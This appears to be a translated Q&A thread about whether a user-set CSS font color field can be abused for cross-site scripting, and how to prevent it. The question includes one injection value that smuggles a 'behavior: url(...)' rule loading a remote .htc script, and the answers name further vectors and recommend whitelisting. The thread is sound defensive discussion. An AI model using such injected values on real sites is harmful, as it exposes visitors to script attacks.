用户可自定义的颜色 - 是否可以进行脚本攻击?怎么预防?

时间:2013-03-26 03:33:23

标签: css xss

我有一个这样的表单用于登录用户到我的网站:

<form>
<input name="fontColor"><input type="submit">
</form>

这允许用户使用字体颜色自定义他们自己的页面(他们的页面对其他登录用户也是可见的)。这种字体颜色放入页面的方式是通过页面顶部的动态样式表构建,如下所示:

body { color: <fontColor>; }

假设用户为fontColor输入了这个:

default; behavior: url(http://www.myscript.com/script.htc)

然后CSS将导致

body {color: default;behavior: url(http://www.myscript.com/script.htc)}

这意味着用户“成员页面”会在页面上插入script.htc,因此访问该成员页面的其他成员将执行该脚本(从而导致对其他访问者的攻击)。

为防止出现这种情况,服务器将忽略输入“fontColor”字段的字符:;{}

在这种情况下,结果CSS将无效,只是不起作用。

body {color: defaultbehavior: url(http://www.myscript.com/script.htc)}

基本上我的问题归结为:

  1. 是否还有一种方法可以在不使用{};字符的情况下插入脚本?
  2. 假设允许{};,是否有其他方法(除了在IE中有效的行为样式)可以将不需要的脚本插入到CSS中?
  3. 我知道这里最好的解决方案是验证fontColor,这样用户就没有那么多的颜色自由,但出于学术目的,我仍然想尽可能多地了解可能发生的事情。

2 个答案:

答案 0 :(得分:2)

XSS攻击实际上仅受到攻击者想象力的限制,所以我确保有一个严格的允许规则/模式的白名单。仅仅因为CSS规则无效并不一定意味着即使在urlbehavior规则之外,所有浏览器也不会尝试通过background-image包含其他文件。另一个可能的向量是expression,即使它没有得到很好的支持。

我当然无法在此提出完整的列表,但重要的是要认识到XSS,对于任何向量都没有已知的限制,并且在没有您注意的情况下可以利用漏洞。从你想要的东西开始工作要好得多,而不是你想要否认的东西。

答案 1 :(得分:1)

除了CSS中的攻击外,还要考虑的另一件事是SQL注入攻击。由于我认为您将样式数据存储在数据库中,因此您需要担心该数据中的内容。使用mysqli::real_escape_string是准备存储数据的良好开端。

在这种情况下,由于您对颜色数据非常感兴趣,因此可以使用颜色选择器不仅可以使您的界面易于使用,还可以限制您希望接收的数据类型。攻击者可以轻松修改页面,让他们提交他们想要的任何内容,但是当你的工具生成时,严格过滤十六进制值要简单得多。